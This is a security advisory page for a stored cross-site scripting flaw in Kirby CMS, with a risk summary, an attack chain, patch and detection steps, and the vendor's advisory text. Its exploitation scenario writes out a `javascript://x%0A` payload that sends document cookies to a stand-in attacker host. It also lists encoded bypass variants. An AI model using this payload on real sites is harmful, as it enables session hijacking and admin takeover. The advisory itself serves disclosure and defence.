CVE-2026-45368: Kirby CMS: Stored XSS via javascript: URI scheme bypass

GHSA-qvjf-922g-pj44 HIGH
Published May 27, 2026
CISO Take

Kirby CMS versions up to 4.9.0 contain a stored cross-site scripting vulnerability where authenticated panel users can inject malicious links using the `javascript://x%0A` URL variant — a technique that bypasses the pre-existing single-slash sanitization — as well as `vbscript:`, `data:`, `livescript:`, and `jar:` URI schemes, across four distinct content rendering paths: the `(link:)` KirbyTag, the `(image: link:)` parameter, the built-in image block link field, and the HTML importer. Any organization where content editors are not fully trusted faces a realistic privilege escalation path: a single admin click on the injected frontend link hands the attacker full control of the Panel session and same-origin API access. With 469 downstream dependents and an OpenSSF score of 7.1/10, the exposure surface is non-trivial, and while no public exploit is available yet, the bypass technique is straightforward enough to be rediscovered independently. Patch to Kirby 4.9.1 or 5.4.1 immediately; as an interim measure, restrict textarea and blocks field access to fully trusted users and audit content files for `javascript:`, `vbscript:`, or `data:` URI substrings including URL-encoded variants.

Sources: GitHub Advisory NVD OpenSSF ATLAS

What is the risk?

High severity with moderate urgency. The attack requires an authenticated panel user rather than an anonymous attacker, which limits open internet exposure — however, in organizations where CMS editing rights are broadly distributed (content teams, contractors, federated pipelines), this prerequisite is easily satisfied. The bypass mechanism (`javascript://x%0A`) is non-obvious but now publicly documented via the security advisory, narrowing the remediation window. No EPSS data is available given the freshness of the CVE, there is no KEV listing, and no proof-of-concept exploit has surfaced. However, the 469 downstream dependents, the ease of triggering (a single crafted field value), and the high-impact outcome (full Panel session takeover) justify treating this as a priority patch rather than a scheduled maintenance item.

Attack Kill Chain

Malicious Content Injection
Authenticated Kirby Panel editor inserts a `javascript://x%0A<payload>` URI into a textarea, image block link field, or via the HTML importer, exploiting the bypass gap in the pre-patch URL sanitization logic.
AML.T0011.003
Stored Payload Persistence
The malicious link value is persisted in Kirby's content files and rendered verbatim in the site frontend HTML as an `<a href>` attribute, serving the payload to all subsequent page visitors.
AML.T0049
User-Triggered Execution
A site visitor or logged-in administrator clicks the rendered link; the browser executes the injected JavaScript in the page origin, which is shared with the Kirby Panel API endpoint.
AML.T0078
Session Hijack and Privilege Escalation
The attacker's script exfiltrates the admin session token or directly calls the same-origin Panel API to create backdoor admin accounts, modify content, or pivot to further internal systems.
AML.T0091.000

What systems are affected?

Package Ecosystem Vulnerable Range Patched
getkirby/cms composer <= 4.9.0 4.9.1
5.7K OpenSSF 7.1 469 dependents Pushed 4d ago 89% patched ~0d to patch Full package profile →

Do you use getkirby/cms? You're affected.

Severity & Risk

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What should I do?

4 steps
  1. Patch: Upgrade to Kirby 4.9.1 or 5.4.1 (or any later release) immediately — both versions introduce Url::hasDangerousScheme() which blocks javascript:, vbscript:, livescript:, mocha:, jar:, and data: in rendered href and src attributes, and Html::link() now replaces dangerous href values with an empty string.

  2. Workaround (if patching is delayed): Restrict all textarea and blocks field editing to fully trusted, internal-only users; disable or sanitize any frontend form or content sync pipeline that writes to Kirby content files without explicit URL scheme validation.

  3. Detection: Grep content files and any database-backed content stores for link values containing javascript:, vbscript:, data:, livescript:, mocha:, or jar:, including URL-encoded variants such as javascript%3A, %6Aavascript:, or newline-delimited payloads (%0A).

  4. Audit: Review all content ingestion paths — especially the HTML importer and frontend forms — for untrusted input that reaches Html::a() or Html::link() without sanitization.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.9.2 - Security of AI system operations
NIST AI RMF
MANAGE 4.1 - Residual risks and risk-response options
OWASP LLM Top 10
LLM02 - Insecure Output Handling

Frequently Asked Questions

What is CVE-2026-45368?

Kirby CMS versions up to 4.9.0 contain a stored cross-site scripting vulnerability where authenticated panel users can inject malicious links using the `javascript://x%0A` URL variant — a technique that bypasses the pre-existing single-slash sanitization — as well as `vbscript:`, `data:`, `livescript:`, and `jar:` URI schemes, across four distinct content rendering paths: the `(link:)` KirbyTag, the `(image: link:)` parameter, the built-in image block link field, and the HTML importer. Any organization where content editors are not fully trusted faces a realistic privilege escalation path: a single admin click on the injected frontend link hands the attacker full control of the Panel session and same-origin API access. With 469 downstream dependents and an OpenSSF score of 7.1/10, the exposure surface is non-trivial, and while no public exploit is available yet, the bypass technique is straightforward enough to be rediscovered independently. Patch to Kirby 4.9.1 or 5.4.1 immediately; as an interim measure, restrict textarea and blocks field access to fully trusted users and audit content files for `javascript:`, `vbscript:`, or `data:` URI substrings including URL-encoded variants.

Is CVE-2026-45368 actively exploited?

No confirmed active exploitation of CVE-2026-45368 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-45368?

1. Patch: Upgrade to Kirby 4.9.1 or 5.4.1 (or any later release) immediately — both versions introduce `Url::hasDangerousScheme()` which blocks `javascript:`, `vbscript:`, `livescript:`, `mocha:`, `jar:`, and `data:` in rendered `href` and `src` attributes, and `Html::link()` now replaces dangerous `href` values with an empty string. 2. Workaround (if patching is delayed): Restrict all textarea and blocks field editing to fully trusted, internal-only users; disable or sanitize any frontend form or content sync pipeline that writes to Kirby content files without explicit URL scheme validation. 3. Detection: Grep content files and any database-backed content stores for link values containing `javascript:`, `vbscript:`, `data:`, `livescript:`, `mocha:`, or `jar:`, including URL-encoded variants such as `javascript%3A`, `%6Aavascript:`, or newline-delimited payloads (`%0A`). 4. Audit: Review all content ingestion paths — especially the HTML importer and frontend forms — for untrusted input that reaches `Html::a()` or `Html::link()` without sanitization.

What systems are affected by CVE-2026-45368?

This vulnerability affects the following AI/ML architecture patterns: CMS-backed AI documentation portals, Content management pipelines feeding AI knowledge bases, Frontend forms with Kirby CMS backend integration, ML UI dashboards or reporting interfaces built on Kirby CMS.

What is the CVSS score for CVE-2026-45368?

No CVSS score has been assigned yet.

AI Security Impact

Affected AI Architectures

CMS-backed AI documentation portalsContent management pipelines feeding AI knowledge basesFrontend forms with Kirby CMS backend integrationML UI dashboards or reporting interfaces built on Kirby CMS

MITRE ATLAS Techniques

AML.T0011.003 Malicious Link
AML.T0049 Exploit Public-Facing Application
AML.T0078 Drive-by Compromise

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.9.2
NIST AI RMF: MANAGE 4.1
OWASP LLM Top 10: LLM02

Technical Details

Original Advisory

### TL;DR This vulnerability affects all Kirby sites that allow the use of the `(link: …)` KirbyTag, the `link:` parameter of the `(image: …)` KirbyTag, the built-in `image` block with a link or the HTML importer for blocks, when content is authored by users who may not be fully trusted. The attack requires an authenticated Panel user with update permission to any `textarea` or `blocks` field, or write access to content files through another vector (e.g. a frontend form or content sync pipeline). Another attack vector is the use of `Html::a()` or `Html::link()` with untrusted user input. **This vulnerability is of high severity for affected sites.** Kirby sites are *not* affected if none of the mentioned KirbyTags or block types are used, or if every user who can edit content is fully trusted. The attack only surfaces in the site frontend (i.e. in its templates). The Panel itself is unaffected and will not execute JavaScript that was injected into the `textarea` or `blocks` field content. --- ### Introduction Cross-site scripting (XSS) is a type of vulnerability that allows to execute any kind of JavaScript code inside the site frontend or Panel session of the same or other users. In the Panel, a harmful script can for example trigger requests to Kirby's API with the permissions of the victim. In a *stored* XSS attack, the malicious payload is saved into the content data and has the potential to affect other users or site visitors. Such vulnerabilities are critical if a consuming application might have potential attackers in its group of authenticated Panel users. They can escalate their privileges if they get access to the Panel session of an admin user. Depending on the site, other JavaScript-powered attacks are possible. A specific class of stored XSS exploits the `javascript:` URI scheme in HTML `<a href>` attributes. When a browser processes a click action on a link with `href="javascript:…"`, it executes the value as JavaScript in the origin of the current page. Because the site usually runs on the same origin as the Panel API, a successful exploit in the site frontend can give the attacker full control of the victim's Panel session. ### Affected components Kirby provides four first-party renderers that produce `<a href="…">` output from editor-supplied field values: 1. The `(link: …)` KirbyTag 2. The `link:` parameter of the `(image: …)` KirbyTag, when the parameter does not resolve to a known file or `'self'` 3. The link field of the built-in `image` block 4. The HTML importer for the blocks field (which accepted the same malicious input as the `image` block link field) ### Impact In affected releases, the underlying URL methods for these components did not filter out malicious URL values that resolve to script execution. While simple `javascript:` URLs were already deactivated by treating them as a relative path and prepending a single slash to the URL, the use of URLs of the format `javascript://x%0A…` bypasses this protection. The `vbscript:`, `data:`, `livescript:`, `mocha:` and `jar:` schemes are affected by the same underlying gap. The vulnerability allows attackers to inject malicious links into content. The malicious links would then be rendered on the site frontend. If a site visitor or logged in user browsing the site would click such a link, the malicious script code would then be executed in the browser. ### Patches The problem has been patched in [Kirby 4.9.1](https://github.com/getkirby/kirby/releases/tag/4.9.1) and [Kirby 5.4.1](https://github.com/getkirby/kirby/releases/tag/5.4.1). Please update to one of these or a [later version](https://github.com/getkirby/kirby/releases) to fix the vulnerability. In all of the mentioned releases, a new `Url::hasDangerousScheme()` method detects URI schemes that must never appear in a rendered `href` or `src` attribute (`javascript:`, `vbscript:`, `livescript:`, `mocha:`, `jar:`, `data:`). `Url::isAbsolute()` now returns `false` for any URL that `hasDangerousScheme()` identifies as dangerous, so the URL component no longer passes these values through `makeAbsolute()` unchanged. `Html::link()` now replaces the `href` with an empty string when a dangerous scheme is detected, so the rendered `<a>` tag links back to the current page rather than executing the injected script. The HTML importer for blocks strips link targets with a dangerous scheme. Due to the hardening in these underlying URL methods, the affected KirbyTags and block no longer allow dangerous schemes in link targets. ### Credits Kirby thanks @offset for responsibly reporting the identified issue.

Exploitation Scenario

An attacker with Kirby Panel editor access — obtained via a compromised contractor account or a malicious insider — navigates to a page with a blocks field. They add an image block and set the link value to `javascript://x%0Afetch('https://attacker.io/?c='+document.cookie)`, a value that evades the pre-patch single-slash protection by disguising the scheme as a protocol-relative comment. The content is saved and rendered in the site frontend. When an administrator browses the site and clicks the image link — appearing as a normal navigation element — the JavaScript fires in the browser on the same origin as the Kirby Panel API. The exfiltrated session cookie allows the attacker to authenticate to the Panel API and create a new admin account, achieving persistent, privileged access to the entire CMS independent of the original editor account.

Timeline

Published
May 27, 2026
Last Modified
May 27, 2026
First Seen
May 27, 2026

Related Vulnerabilities